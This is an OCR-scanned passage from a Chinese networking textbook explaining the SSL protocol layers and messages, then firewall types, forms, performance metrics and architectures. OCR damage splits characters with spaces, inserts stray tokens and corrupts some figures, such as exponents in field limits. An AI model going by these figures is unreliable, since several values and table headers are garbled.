SSL 实际 位 于 传输 层 之 上 、 应 用 层 之 下 ,如 图 8-9 


所 示 。 该 协议 与 应 用 层 无 关 , 能 为 各 种 应 用 层 协 议 提 7; 
供 透明 的 安全 服务 ,保证 两 个 应 用 之 间 通 信 的 保密 性 GY 
和 可 靠 性 。 目 前 广泛 应 用 于 以 各 种 安全 应 用 领域 。 


SSL 提供 的 服务 可 以 归结 为 以 下 3 个 方面 。 图 8-9 SSL 在 协议 栈 中 位 置 示意 图 
(1) 用 户 和 服务 器 的 合法 性 认证 。SSL 协议 在 建 
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立会 话 的 时 候 可 以 验证 通信 参与 者 的 数字 证 书 。 从 而 保证 通信 参与 者 能 与 正确 的 对 象 进行 
通信 ,并 将 数据 发 送 到 正确 的 机 器 上 o 

(2) 数据 完整 性 保障 。SSL 协议 采用 消息 验证 码 来 验证 获取 数据 的 完整 性 ,确保 信息 
内 容 和 来 源 的 完整 性 。 

(3) 数据 机 密 性 保证 。SSL 协议 采用 加 密 算法 来 加 密 数据 ,保障 数据 的 机 密 性 。 

SSL 协议 本 身分 也 为 两 层 。 低 层 是 SSL 记录 协议 层 ,包含 SSL 记录 协议 ; 高 层 是 SSL 
握手 协议 层 , 该 层 上 有 SSL 握手 协议 .SSL 警告 协议 .SSL 交换 密码 规则 协议 ,如 图 8-10 所 示 。 


SSL 握 手 协议 SSL 交 换 密码 规则 协议 SSL 警 告 协议 
SSL 记 录 协 议 
TCP 
IP 


图 8-10 SSL 协议 的 分 层 结构 


SSL 协议 的 工作 过 程 可 以 这 样 简单 描述 : 首先 通信 双方 使 用 SSL 握手 协议 建立 SSL 
会 话 , 商 议 好 加 密 算法 、 密 钥 .数据 压缩 方式 之 类 的 通信 安全 参数 ,这 过 程 中 可 能 需要 通过 数 
字 证 书 验证 对 方 身份 ; 需要 传输 数据 时 则 选择 会 话 下 恰当 的 连接 ,如 果 没 有 ,就 建立 新 的 连 
接 ; 传输 数据 时 要 对 信息 进行 对 称 密 钥 加 密 ,并 计算 Hash 消息 验证 码 供 对 方 验证 ; 由 于 对 
称 密 钥 加 密 要 消耗 一 定量 的 计算 资源 ,SSL 协议 一 般 先 要 按照 建立 会 话 时 商定 的 压缩 方法 
将 数据 压缩 后 再 做 加 密 处 理 ; 收 到 信息 后 则 要 依次 做 完整 性 验证 、 解 密 、 解 压缩 的 操作 ,最 
终 将 数据 传送 给 应 用 层 。 

2. 会 话 与 连接 

在 进一步 解释 SSL 协议 两 层 中 各 自 协议 之 前 ,首先 来 看 看 SSL 协议 中 会 话 与 连接 的 

SSL 会 话 由 握手 协议 创建 。SSL 会 话 定义 了 一 系列 相应 的 安全 参数 ,最 终 建立 客户 机 
和 服务 器 之 间 的 一 个 关联 。 对 于 实际 上 为 应 用 提供 服务 的 每 个 SSL 连接 ,可 利用 SSL 会 话 
避免 对 新 的 安全 参数 进行 复杂 而 代码 繁多 的 协商 。 

每 个 SSL 会 话 都 有 许多 与 之 相关 的 状态 。SSL 会 话 状 态 的 参数 包括 以 下 6 个 。 

(1) 会 话 标 志 符 (Session Identifier) : 用 来 确定 活动 或 可 恢复 的 会 话 状态 。 

(2) 对 等 实体 证 书 (Peer Certificate): 存放 对 等 实体 的 X. 509 v3 数字 证 书 。 

(3) 压缩 方法 (Compression Method): 规定 加 密 之 前 用 何 种 压缩 方法 对 数据 进行 

(4) 加 密 规 范 (Cipher Spec): 指明 采取 何 种 加 密 算法 ,如 DES, 3DES, IDEA 等 ; 采用 
何 种 消息 摘要 算法 ,如 MD5 和 SHA-1 等 ; 以 及 选择 加 密 算法 的 各 种 相关 参数 。 

(5) 主 密码 (Master Secret): 由 客户 机 和 服务 器 共享 的 密码 。 

(6) 是 否 可 恢复 (is Resumable) : 会 话 是 否 可 用 于 初始 化 新 连接 的 标志 。 

SSL 连接 则 是 一 个 用 于 交换 数据 的 双向 连接 。 每 个 连接 都 属于 一 个 SSL 会 话 ,一 个 
SSL 会 话 中 可 以 建立 多 个 SSL 连接 。SSL 连接 成 功 后 ,就 可 以 进行 安全 保密 通信 了 。 

SSL 连接 状态 的 参数 包括 7 个 。 
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(1) 服务 器 和 客户 机 随机 数 (Server and Client Random) : SSL 服务 器 和 客户 端 为 每 一 
个 连接 所 随机 选择 的 字 节 序列 。 

(2) 服务 器 写 MAC 秘密 (Server Write MAC Secret) : 用 来 记录 对 服务 器 端 送出 的 数 
据 进行 消息 验证 码 计算 操作 时 所 用 的 密 钥 。 

(3) 客户 机 写 MAC 秘密 (Client Write MAC Secret): 用 来 记录 对 客户 端 送出 的 数据 
进行 消息 验证 码 计算 操作 时 所 使 用 的 密 钥 。 

(4) 服务 器 写 密 钥 (Server Write Key): 用 于 记录 服务 器 端 进行 数据 加 密 , 即 客户 端 进 
行 数据 解密 的 对 称 加 密 算法 使 用 的 密 钥 。 

(5) 客户 机 写 密 钥 (Client Write Key): 用 于 记录 客户 端 进行 数据 加 密 , 即 服务 器 端 进 
行 数据 解密 的 对 称 加 密 算法 使 用 的 密 钥 。 

(6) 初始 化 向 量 (Initialization Vectors); 当 数 据 加 密 采 用 CBC 方式 时 ,每 一 个 密 钥 保 
持 一 个 初始 向 量 (IV) 。 该 字段 首先 由 SSL Handshake Protocol 来 初始 化 其 值 ,以 后 保留 每 
次 最 后 的 密 文 数据 块 作为 IV. 

(7) 序列 号 (Sequence Number): 每 一 方 为 每 一 个 连接 的 数据 发 送 与 接收 维护 单独 的 
顺序 号 。 当 一 方 发 送 或 接收 一 个 改变 的 Cipher Spec Message 时 ,序号 置 为 0, 最 大 2% 一 1。 

3. SSL 记录 协议 

在 SSL 协议 中 所 有 要 传输 的 数据 都 被 封装 在 SSL 记录 协议 的 数据 封包 中 。 和 其 他 的 
各 种 常见 协议 类 似 ,SSL 记录 协议 的 数据 包 由 记录 头 和 长 度 不 为 零 的 记录 数据 组 成 ,如 
图 8-11 所 示 。 


消息 类 型 | 主 版 本 | war | seke 
数据 字段 


消息 验证 码 


图 8-11 SSL 记录 协议 的 格式 


SSL 的 所 有 通信 ,包括 普通 的 交换 数据 ,SSL 握手 协议 、 警 告 协议 .改变 密码 规则 协议 
的 数据 包 ,都 要 放置 于 SSL 记录 协议 的 记录 数据 中 传输 。 

SSL 记录 协议 包含 的 字段 有 以 下 5 个 。 

(1) 信息 类 型 : 指 封装 在 数据 段 中 的 信息 类 型 ,有 4 种 类 型 ,数据 .SSL 握手 、SSL 警 
45 SSL 交换 密码 规范 。 

(2) 版 本 号 : 使 用 的 SSL 协议 版 本 号 ,包括 主 版 本 号 和 次 版 本 号 。 

(3) 数据 长 度 : 以 字 节 表示 的 数据 字段 长 度 ,最 大 为 2* 字 节 。 

(4) 数据 字段 : 此 部 分 存放 的 内 容 包 括 上 层 协议 (包括 SSL 握手 层 ) 送 来 的 数据 、 填 充 
数据 以 及 它们 的 消息 验证 码 。 数 据 可 能 被 压缩 和 加 密 。 

(5) 消息 验证 码 : SSL 数据 部 分 的 消息 验证 码 。 

4. SSL 握手 协议 

SSL 握手 协议 是 用 来 建立 会 话 和 连接 的 协议 ,如 图 8-12 所 示 。 

该 协议 的 消息 有 以 下 3 个 字段 。 
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握手 消息 格式 | 消息 类 型 | 消息 长 度 消息 内 容 


Bee \ 


\ 
Client Hello 格 式 | 版 本 号 | 随机 数 会 话 ID | 加 密 选项 表 Er 


Server Hello 格 式 | 版 本 号 | 随机 数 会 话 ID | 密码 组 压缩 算法 | 


Certificate Request | 证书 类 型 列表 | 。 证书 认证 中 心 (cA) 列表 | 


图 8-12 SSL 握手 协议 及 一 些 握手 消息 格式 

da) 消息 类 型 (1 FH): 表示 该 消息 的 类 型 ,SSL 握手 协议 中 有 10 种 消息 类 型 。 消 息 
类 型 如 表 8-1 所 示 。 

(2) 消息 长 度 (3 字 节 ): 消息 以 字 节 为 单位 的 长 度 。 

(3) 消息 内 容 : 各 种 与 该 消息 有 关 的 参数 。 


表 8-1 SSL 握手 协议 的 消息 类 型 


类 型 编号 消息 类 型 说 明 
0 Hello Request 服务 器 一 客户 端 
1 Client Hello 客户 端 一 服务 器 
2 Server Hello 服务 器 一 客户 端 
11 Certificate 双向 ; 传送 X. 509 证 书 
12 ServerKeyExchange 服务 器 一 客户 端 
13 CertificateRequest 服务 器 一 客户 端 
14 ServerHelloDone 服务 器 一 客户 端 
15 CertificateVerify 客户 端 一 服务 器 
16 ClientkeyExchange 客户 端 一 服务 器 
20 Finished 双向 


5. SSL 警告 协议 


警告 协议 用 来 为 对 等 实体 之 间 传 递 SSL 警告 ,如 图 8-13 所 示 。 该 协议 的 每 个 消息 有 2 
个 字 节 。 


警告 级 别 警告 代码 


图 8-13 SSL 警告 协议 格式 


第 一 个 字 节 为 警告 级 别 , 它 只 有 两 个 取 值 : 1 代表 警告 .2 代表 错误 。 该 字 节 表示 警告 
的 严重 性 ,如 果 是 错误 级 别 ,SSL 协议 处 理 程序 将 立即 终止 连接 ， 同一 会 话 中 的 其 他 连接 虽 
然 可 以 继续 使 用 ,但 会 话 将 不 再 产生 新 连接 。 如 果 是 警告 级 别 ,SSL 协议 处 理 程序 将 按照 
不 同 的 警告 代码 来 决定 如 何 做 后 续 处 理 。 

第 二 个 字 节 为 警告 代码 , 它 代 表 了 具体 是 何 种 警告 或 者 错误 ,作为 SSL 协议 处 理 的 依 
据 。 表 8-2 列 出 了 部 分 警告 代码 的 含义 。 
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表 8-2 部 分 SSL 警告 代码 


警 告 a= 
0 Close_notify 关闭 连接 通知 
10 Unexpected_message 不 期 望 的 消息 
20 Bad_record_mac 错误 的 消息 认证 码 
21 Decryption_failed 解密 失败 
22 Record_overflow 记录 溢出 
30 Decompressing_failure 解压 缩 失败 
40 Handshake_failure 握手 失败 
41 No_certificate 没有 证 书 
42 Bad_certificate 错误 的 证 书 
43 Unsupported_certificate 不 支持 的 证 书 
44 Certificate_revoked 证 书 作废 
45 Certificate_expried 证 书 期 满 
46 Certificate_unknown 证 书 未 知 
47 Illegal_parameter 非法 参数 


6. SSL 交换 密码 规范 协议 

SSL 交换 密码 规范 (Change Cipher Spec) 协 议 只 有 一 种 ChangeCipherSpec 消息 ,用 于 
改变 当前 的 密码 规范 。 客 户 端 或 者 服务 器 使 用 此 种 消息 通知 对 方 , 将 采用 新 的 密码 规范 和 
密 钥 来 加 密 数据 记录 。 此 种 消息 一 般 需要 在 SSL 握手 协议 的 Finished 消息 发 送 之 前 进行 。 


8.2 ”防火墙 技术 


8.2.1 防火 墙 的 概念 


Internet 是 一 个 由 很 多 网 络 互 联 而 形成 的 网 络 , 在 带 给 人 们 极 大 便利 的 同时 ,也 由 于 其 
上 诸如 黑客 攻击 等 不 安全 因素 和 不 良 信息 给 使 用 者 带 来 种 种 损害 。 为 了 使 计算 机 网 络 免 受 
外 来 入 侵 的 攻击 ,阻隔 危险 信息 的 防火 墙 是 保护 网 络 安全 必然 的 选择 。 

防火 墙 最 初 被 认为 是 一 个 建筑 名 词 , 指 的 是 修建 在 房屋 之 间 、 院 落 之 间 、 街 区 之 间 , 用 以 
隔绝 火灾 蔓延 的 高 墙 , 而 这 里 介绍 的 是 用 于 计算 机 网 络 安全 领域 的 防火 墙 。 它 是 指 设置 于 
网 络 之 间 ,通过 控制 网 络 流量 .阻隔 危险 网 络 通信 以 达到 保护 网 络 安全 的 目的 ,由 硬件 设备 
和 软件 组 成 的 防御 系统 。 像 建筑 防火 墙 阻挡 火灾 ,保护 建筑 一 样 , 它 有 阻挡 危险 流量 、 保 护 
网 络 的 功能 。 从 信息 保障 的 角度 来 看 防火 墙 是 一 种 保护 (Protect) 手 段 。 

防火 墙 一 般 都 是 部 署 于 网 络 之 间 的 。 防 火 墙 最 常见 的 形式 是 部 署 于 公共 网 络 和 企 事业 
单位 内 部 的 专用 网 络 之 间 ,用 以 保护 内 部 专用 网 络 。 有 时 在 一 个 网 络 内 部 也 可 能 设置 防火 
墙 ,用 来 保护 某 些 特定 的 设备 ,但 被 保护 关键 设备 的 IP 地 址 一 般 会 和 其 他 设备 处 于 不 同 网 
段 。 其 至 有 类 似 大 防火 墙 (Great Fire Wall,GFW) 那 样 保护 整个 国家 网 络 的 防火 墙 。 其 实 ， 
只 要 是 有 必要 ,有 网 络 流量 的 地 方 都 可 以 部 署 防火 墙 。 

防火 墙 保护 网 络 的 手段 就 是 控制 网 络 流量 。 网 络 之 上 的 各 种 信息 都 是 以 数据 包 的 形式 
传递 的 ,网 络 防火 墙 要 实现 控制 流量 就 是 要 对 途经 其 的 各 个 数据 包 进 行 分 析 , 判 断 其 危险 与 
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否 , 据 此 决定 是 否 允 许 其 通过 。 对 数据 包 说 “Yes” 或 者 “No” 是 防火 墙 的 基本 工作 。 不 同 种 
类 的 防火 墙 查看 数据 包 的 不 同 内容 , 但 是 究竟 对 怎样 的 数据 包 内 容 说 “Yes? 或 者 "No”, 其 规 
则 是 由 用 户 来 配置 的 。 也 就 是 说 ,防火 墙 决定 数据 包 是 否 可 以 通过 ,要 看 用 户 对 防火 墙 查看 
的 内 容 制定 怎样 的 规则 。 

用 以 保护 网 络 的 防火 墙 会 有 不 同 的 形式 和 不 同 的 复杂 程度 。 它 可 以 是 单一 设备 也 可 以 
是 一 系列 相互 协作 的 设备 ; 设备 可 以 是 专门 的 硬件 设备 ,也 可 以 是 经 过 加 固 甚至 只 是 普通 
的 通用 主机 ; 设备 可 以 选择 不 同形 式 的 组 合 , 具 有 不 同 的 拓扑 结构 。 下 面 针 对 防火 墙 的 内 
容 做 进一步 的 讨论 。 


8.2.2 防火 墙 的 分 类 


依据 不 同 的 保护 机 制 和 工作 原理 ,人 们 一 般 将 防火 墙 分 为 三 类 : 包 过 滤 防 火 墙 .状态 检 
测 包 过 滤 防 火 墙 ,应 用 服务 代理 防火 墙 。 这 些 防 火 墙 的 功能 不 同 , 常 见 的 实现 方式 ,以 及 它 
们 的 性 能 、 安 全 性 都 有 所 不 同 。 

1. 包 过 滤 防 火 墙 

有 时 也 称 为 分 组 过 滤 防火 墙 ,只 查看 数据 包 的 IP 头 和 TCP/UDP 头 的 部 分 信息 , 据 此 
判断 是 否 允许 数据 包 通 过 。 其 查看 的 信息 包括 源 IP 地 址 .目的 IP ehk, TCP/UDP 端口 
号 、 承 载 协议 等 。 

用 户 为 防火 墙 制定 的 规则 需要 说 明 防 火 墙 查看 的 信息 ,以 及 是 否 允 许 通 过 。 表 8-3 是 
一 个 包 过 滤 防 火 墙 规则 的 实例 。 


表 8-3 包 过 滤 防 火 墙 规则 实例 


编号 方向 源 IP 目的 JP 协议 源 端口 ”目的 端口 操作 
1 进 Any 120. 100. 80. 1 n/a n/a n/a 拒绝 
2 进 202. 100. 50. 3 120. 100. 80.0 TCP 23 > 1023 允许 
3 出 120. 100. 80. 2 Any TCP >1023 25 允许 
4 进 Any 120. 100. 80. 2 TCP 25 >1023 允许 
5 进 192. 100. 5.0 120. 100. 80. 4 TCP >1023 80 允许 
6 出 120. 100. 80.4 192. 100. 5.0 TCP 80 >1023 允许 


各 条 包 过 滤 规 则 以 一 定 顺 序 排列 , 包 过 滤 防 火 墙 在 决定 一 个 数据 包 是 否 可 以 通过 时 会 
逐一 查看 各 条 规则 。 当 遇 到 一 条 规则 与 数据 包 相 匹配 时 ,就 按照 该 规则 来 处 理 数据 包 ,而 不 
再 继续 查看 列表 中 该 规则 后 面 的 其 他 规则 。 防 火 墙 将 按照 匹配 的 规则 是 “允许 ”还 是 “拒绝 ” 
来 决定 是 否 让 数据 包 通 过 。 如 果 没 有 任何 一 条 规则 与 数据 包 匹 配 ,防火 墙 将 拒绝 该 数据 包 
通过 ,这 是 一 种 “一 切 未 被 允许 的 都 是 被 禁止 "的 原则 。 

包 过 滤 防 火 墙 处 理 数据 包 时 需要 查看 的 内 容 比 较 少 ,执行 起 来 简单 .迅速 ,但 是 功能 相 
对 有 限 。 从 其 规则 的 制定 上 来 看 ,单条 规则 的 制定 很 容易 ,但 当 规则 条 目 太 多 时 可 能 会 有 意 
想不到 的 麻烦 ,这 在 后 面 讨论 防火 墙 体 系 结构 时 再 做 介绍 。 

由 于 包 过 滤 防 火 墙 的 功能 很 简单 ,因此 容易 以 专门 的 硬件 来 实现 。 在 这 些 硬件 设备 中 ， 
用 户 配置 的 规则 列表 存放 于 专门 寄存 器 而 不 是 普通 内 存 中 ,依据 规则 查验 数据 包 决 定 是 否 
放行 的 功能 用 硬件 或 者 固件 来 实现 。 这 样 形式 的 专用 防火 墙 设 备 本 身 具 有 更 强 的 抗 攻 击 能 
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力 , 有 较 高 的 安全 性 。 有 时 也 可 以 通过 在 路 由 器 上 设置 访问 控制 列表 来 实现 包 过 滤 防火 墙 
的 功能 ,但 这 样 做 的 安全 性 要 差 。 

2. 状态 检测 包 过 滤 防 火 墙 

状态 检测 包 过 滤 防 火 墙 可 以 视 为 是 普通 包 过 滤 防 火 墙 的 一 种 扩展 。 它 也 查看 数据 包 
IP KA TCP 头 中 关于 IP 地 址 、 承 载 协议 .端口 号 之 类 的 信息 ,并 依据 人 们 设置 的 规则 来 决 
定 是 否 对 数据 包 放行 。 除 此 之 外 ,状态 检测 包 过 滤 防 火 墙 还 会 跟踪 每 个 通过 防火 墙 的 TCP 
连接 的 状态 ,根据 一 个 数据 包 是 否 符合 某 个 TCP 连接 的 状态 来 决定 是 否 放行 该 数据 包 。 

一 个 TCP 连接 有 自己 的 生存 周期 和 不 同 状态 。 其 通过 三 次 握手 协议 建立 ,四 次 挥手 协 
议 终止 ,这些 都 是 有 明显 时 序 性 质 的 。 此 外 ,在 正常 数据 交换 时 ,有 接收 窗口 和 发 送 窗 口 的 
设置 ,超出 窗口 范围 的 数据 都 将 不 被 处 理 。 这 些 都 可 以 作为 判断 数据 包 是 否 符合 TCP 连接 
状态 的 依据 。 通 过 检测 数据 包 是 否 属于 某 一 个 TCP 连接 ,其 是 否 符合 该 TCP 连接 应 有 的 
状态 ,将 此 作为 基本 包 过 滤 规 则 基础 上 进一步 判断 数据 包 是 否 应 该 放行 的 依据 。 

对 于 UDP 应 用 ,状态 检测 包 过 滤 防火 墙 可 以 通过 在 相应 UDP 通信 上 设置 一 个 虚拟 的 
UDP 连接。 对 于 UDP 数据 包 , 除 了 检测 其 满足 包 过 滤 规 则 外 还 可 以 查验 其 是 否 满足 预期 
的 UDP 状态 。 

状态 检测 包 过 滤 防 火 墙 在 普通 包 过 滤 防 火 墙 基础 上 增加 了 检测 内 容 ,其 处 理 复杂 一 些 ， 
功能 更 强大 一 些 。 如 果 做 成 专门 的 防火 墙 硬件 ,除了 增加 判断 TCP 状态 的 硬件 或 者 固件 
外 ,还 需要 用 以 存储 TCP/UDP 状态 的 寄存 器 。 

3. 应 用 服务 代理 防火 墙 

在 使 用 网 络 中 服务 的 时 候 , 用 户 可 以 不 必用 自己 的 计算 机 直接 连接 服务 器 ,而 通过 一 种 
叫做 “应 用 服务 代理 ”的 服务 器 来 获取 自己 需要 的 服务 。 用 户 首先 将 自己 请 求 的 服务 发 送 给 
应 用 代理 服务 器 ,由 它 向 网 络 应 用 服务 器 发 送 请 求 ; 网 络 应 用 服务 器 在 获得 请 求 后 将 服务 
数据 发 送 给 应 用 服务 代理 ,再 由 应 用 服务 代理 将 其 发 送 给 提出 服务 请 求 的 计算 机 。 利 用 应 
用 服务 代理 获取 网 络 服务 的 计算 机 不 必 具 有 访问 互联 网 的 能 力 。 不 同 的 应 用 自然 需要 不 同 
的 应 用 代理 服务 器 功能 ,当然 ,同一 台 机 器 上 可 以 运行 不 同 的 应 用 代理 服务 程序 。 

如 果 在 应 用 服务 代理 服务 器 上 增加 了 判断 是 否 应 该 转发 需要 传递 的 数据 包 的 功能 , 它 
就 成 为 了 应 用 服务 代理 防火 墙 。 和 包 过 滤 防 火 墙 , 状 态 检测 包 过 滤 防 火 墙 仅 查 看 数据 包 的 
IP KAI TCP 头 的 部 分 数据 不 同 ,应 用 服务 代理 防火 墙 可 以 查看 数据 包 中 的 应 用 协议 和 应 
用 数据 部 分 。 例 如 ,可 以 查找 数据 包 中 是 否 具 有 某 些 关 键 字 、 关 键 序列 。 

应 用 服务 代理 防火 墙 需要 查看 的 内 容 更 多 ,按照 用 户 不 同 的 需要 做 各 种 复杂 的 分 析 操 
作 , 对 不 同 种 类 的 应 用 也 需要 有 不 同 的 查看 和 分 析 操 作 。 相 比 前 面 介绍 的 两 种 防火 墙 ,应 用 
代理 服务 防火 墙 对 数据 包 有 更 深入 的 分 析 , 功 能 更 为 强大 。 但 同时 由 于 需要 进行 的 处 理 更 
加 复杂 和 多 样 ,应 用 服务 代理 防火 墙 需要 进行 大 量 的 运算 ,对 数据 包 的 处 理 效 率 也 最 低 。 

由 于 处 理 情况 复杂 ,数据 量 大 、 需 要 进行 的 运算 量 也 非常 大 ,应 用 服务 代理 防火 墙 的 功能 很 
难 用 硬件 或 者 固件 来 实现 。 一 般 应 用 服务 代理 防火 墙 会 采用 经 过 一 定 加 固 的 通用 计算 机 设备 。 


8.2.3 防火 墙 的 不 同形 态 
无 论 是 包 过 滤 防 火 墙 还 是 状态 检测 包 过 滤 防 火 墙 以 及 应 用 代理 服务 防火 墙 ,本 身 都 会 
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以 一 定 的 设备 的 形态 出 现 。 下 面 简单 介绍 一 下 防火 墙 的 不 同形 态 。 

1. 专用 硬件 设备 

专门 的 硬件 防火 墙 设备 ,将 防火 墙 程序 做 到 芯片 中 ,防火 墙 还 拥有 专门 的 寄存 器 以 存放 
用 户 规则 .连接 状态 之 类 的 信息 。 无 论 是 防火 墙 程序 还 是 运行 所 需 的 信息 都 很 难 被 攻击 和 
得 改 ,在 网 络 攻击 面前 防火 墙 很 坚固 ,有 很 大 的 安全 性 。 这 是 包 过 滤 防 火 墙 和 状态 检测 包 过 
滤 防 火 墙 常见 的 形式 。 

2. 安排 在 特定 功能 的 硬件 设备 (如 路 由 器 ) 上 

路 由 器 一 般 都 可 以 设置 包 过 滤 功 能 ,起 到 一 定 的 防火 墙 效果 。 由 于 不 是 专门 的 设备 , 实 
现 防火 墙 功能 的 程序 和 需要 的 一 些 信息 存放 于 路 由 器 内 存 中 ,程序 和 运行 所 需 信 息 容 易 被 
攻击 和 修改 ,此 种 防火 墙 自身 的 安全 性 比较 差 ,一 般 只 是 权宜 之 计 。 

3. 加 固 主机 

使 用 特定 硬件 、 软 件 ( 如 安全 操作 系统 ) 加 固 的 主机 负担 防火 墙 工 作 。 防 火 墙 程序 和 需 
要 的 规则 等 信息 都 存放 于 机 器 内 存 中 ,由 于 主机 经 过 加 固 ,它们 也 不 那么 容易 受到 攻击 和 自 
改 , 安 全 性 也 比较 好 。 虽 然 由 于 主机 有 很 好 的 通用 性 ,此 类 设备 可 以 负担 各 种 防火 墙 ,但 是 
一 般 还 是 用 于 程序 较为 复杂 ,需要 运算 力 较 高 的 应 用 服务 代理 防火 墙 上 。 

4. 运行 于 普通 通用 计算 机 之 上 的 软件 

由 于 不 采用 任何 的 专门 设备 ,虽然 软件 自身 一 般 都 会 采取 一 些 安全 措施 ,但 总 的 来 说 ， 
操作 系统 和 防火 墙 软件 还 是 容易 被 攻击 和 算 改 ,导致 其 失效 。 这 样 形式 的 防火 墙 一 般 只 用 
于 单个 主机 、 小 规模 网 络 的 较 低 安全 要 求 应 用 。Windows 等 操作 系统 自身 就 带 有 此 类 防火 
墙 功 能 ,一 些 从 事 网 络 安 全 的 软件 公司 也 提供 这 类 工具 ,如 天 网 个 人 防火 墙 .瑞星 个 人 防火 
墙 .金山 网 镖 等 。 


8.2.4 防火 墙 设备 的 性 能 指标 


防火 墙 通过 流量 控制 来 实现 网 络 保护 的 功能 ,为 了 实现 此 功能 防火 墙 需 要 逐一 处 理 途 
经 其 的 每 个 数据 包 。 这 需要 时 间 , 从 而 对 其 保护 的 网 络 产生 影响 。 防 火 墙 设备 本 身 的 性 能 
如 何 将 对 最 终 网 络 用 户 得 到 的 实际 带宽 有 决定 性 的 影响 。 

对 不 同 的 防火 墙 ,需要 考量 的 指标 有 所 不 同 , 下 面 介 绍 一 些 常 见 的 从 防火 墙 运行 角度 来 
评判 的 防火 墙 性 能 指标 。 

1. 吞吐 量 

吞吐 量 是 指 设备 在 不 丢 包 情况 下 达到 的 最 大 数据 转发 速率 。 反 应 防火 墙 转发 数据 能 
力 。 吞 吐 量 的 大 小 主要 由 防火 墙 网 络 接 口 的 速率 及 程序 算法 的 效率 决定 。 防 火 墙 网 络 端口 
本 身 的 速率 是 防火 墙 接收 和 转发 数据 的 极限 ; 而 防火 墙 程序 算法 的 执行 效率 则 在 很 大 程度 
上 影响 这 种 极限 的 发 挥 。 由 于 防火 墙 需 要 查看 数据 包 的 内 容 并 且 进 行 分 析 , 这 会 消耗 防火 
墙 的 运算 能 力 和 处 理 时 间 , 从 而 影响 到 防火 墙 的 工作 效率 。 

2. 时 延 

网 络 中 加 入 防火 墙 必然 会 增加 数据 传输 时 延 。 而 时 延 有 存储 转发 时 延 和 直通 转发 时 延 
两 种 。 防 火 墙 一 般 都 工作 在 第 三 层 以 上 ,一 般 以 存储 转发 方式 对 数据 包 进 行 处 理 。 对 存储 
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转发 型 设备 ,时 延 是 指 从 数据 包 最 后 一 个 比特 进入 防火 墙 开 始 , 到 数据 包 第 一 个 比特 离开 该 
设备 的 时 间 间 隔 。 时 延 反 应 了 防火 墙 对 数据 包 的 处 理 速度 。 

吞吐 量 和 时 延 是 防火 墙 设备 本 身 的 指标 。 而 当 防 火 墙 处 于 某 种 特定 的 网 络 环 境 中 运行 
的 时 候 还 有 一 些 性 能 指标 。 

3. ZEZ 

丢 包 率 是 指 在 特定 网 络 负载 下 ,由 于 资源 不 足 而 造成 的 那些 应 转发 而 未 能 转发 的 数据 
包 的 比率 。 丢 包 率 是 防火 墙 设备 在 特定 网 络 负载 情况 下 稳定 性 和 可 靠 性 的 指标 。 

4. 背靠背 

这 指 的 是 从 介质 空闲 到 介质 满 负 荷 时 ,防火 墙 第 一 次 出 现 丢 帧 情况 之 前 发 送 的 数据 包 
数量 。 这 种 指标 反映 了 设备 的 缓存 能 力 和 处 理 突 发 数据 流 的 能 力 。 

以 上 列 出 的 指标 对 各 种 防火 墙 都 适用 ,而 有 一 些 指标 仅 对 某 些 特定 种 类 的 防火 墙 适用 。 

5. 并 发 连接 数 

此 种 指标 是 指 通信 的 主机 之 间 穿 越 防火 墙 , 以 及 主机 和 防火 墙 之 间 能 够 建立 的 最 大 
TCP 连接 数 。 此 种 指标 对 于 状态 检测 包 过 滤 防 火 墙 尤 其 重要 。 

6. HTTP 传输 速率 和 HTTP 事务 处 理 速率 

这 两 个 指标 适用 于 评价 HTTP 应 用 服务 代理 防火 墙 的 性 能 。HTTP 传输 速率 表示 
HTTP 应 用 服务 代理 防火 墙 针对 HTTP 数据 的 平均 传输 速率 ,是 被 请 求 的 目标 数据 通过 
防火 墙 的 平均 传输 速率 。HTTP 事务 处 理 速率 是 防火 墙 所 能 维持 的 最 大 事务 处 理 速率 , 即 
用 户 在 访问 目标 时 ,所 能 达到 的 最 大 速率 。 类 似 这 样 的 一 些 指标 标志 了 应 用 服务 代理 防火 
墙 的 处 理 能 力 和 应 用 数据 转发 能 力 。 


8.2.5 防火 墙 系统 的 结构 
前 面 介绍 了 不 同 种 类 的 防火 墙 以 及 用 以 实现 它们 的 不 同 的 设备 形式 。 但 在 实际 的 网 络 
中 一 般 都 不 是 依靠 单一 的 某 一 种 防火 墙 设备 来 保护 网 络 的 。 网 络 中 部 署 的 防火 墙 可 以 使 用 


多 种 设备 ,并 有 自己 的 拓扑 结构 ,这 便 是 防火 墙 体系 结构 要 讨论 的 内 容 。 下 面 将 介绍 几 种 在 
公共 网 络 与 专用 网 络 之 间 采 用 的 几 种 比较 典型 的 防火 墙 结构 。 


1. 屏蔽 路 由 器 
此 种 结构 的 设备 配置 仅 需要 一 台 包 过 滤 防 火 墙 或 者 状态 检测 包 过 滤 防 火 墙 设备 ,该 设 
备 配 置 于 内 部 网 络 和 外 部 网 络 之 间 , 起 到 屏 护 内 部 专用 网 络 的 作用 ,此 种 结构 如 图 8-14 


所 示 。 
M4 
yy 


a 
包 过 滤 防 火 墙 


图 8-14 屏蔽 路 由 器 结构 
防火 墙 依据 用 户 设置 的 规则 对 过 往 的 数据 包 进 行 安全 过 滤 。 防 火 墙 设备 一 般 使 用 专门 
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的 防火 墙 设备 或 者 是 在 路 由 器 上 配置 访问 控制 列表 来 实现 ,也 可 以 使 用 通用 主机 或 者 加 固 
过 的 通用 主机 ,运行 具有 包 过 滤 或 者 状态 检测 包 过 滤 功 能 的 软件 。 

此 种 防火 墙 结构 的 优点 就 是 简单 ,易于 实现 ,设备 花费 少 、 网 络 性 能 损失 少 。 

此 种 防火 墙 结构 的 缺点 如 下 。 

(1) 包 过 滤 规 则 制定 较为 复杂 。 前 面 在 介绍 防火 墙 分 类 并 提 及 包 过 滤 防 火 墙 时 说 过 ， 
包 过 滤 防 火 墙 的 规则 条 目 较 多 的 时 候 容 易 有 麻烦 ,这 里 展开 介绍 一 下 。 例 如 ,要 让 某 网 络 中 
除了 部 分 IP 地 址 外 可 以 访问 外 部 网 络 ,规则 的 制定 就 要 小 心 。 如 果 先 设置 拒绝 整个 网 络 的 
IP 的 规则 条 目 , 然 后 再 设置 允许 特定 IP 的 规则 条 目 , 如 表 8-4 所 示 。 当 遇 到 要 处 理 特定 IP 
的 数据 包 时 ,防火墙 会 首先 依据 拒绝 整个 网 络 IP 的 条 目 处 理 ,根本 不 会 看 下 一 条 允许 通行 
的 规则 。 一 般 来 说 ,解决 这 种 情况 的 方法 是 包含 地 址 、 端 口 少 的 条 目 写 在 前 面 ,如 表 8-5 
所 示 。 


R84 错误 的 包 过 滤 规 则 顺序 


编号 方向 源 IP 目的 JP 协议 源 端 口 ”目的 端口 操作 
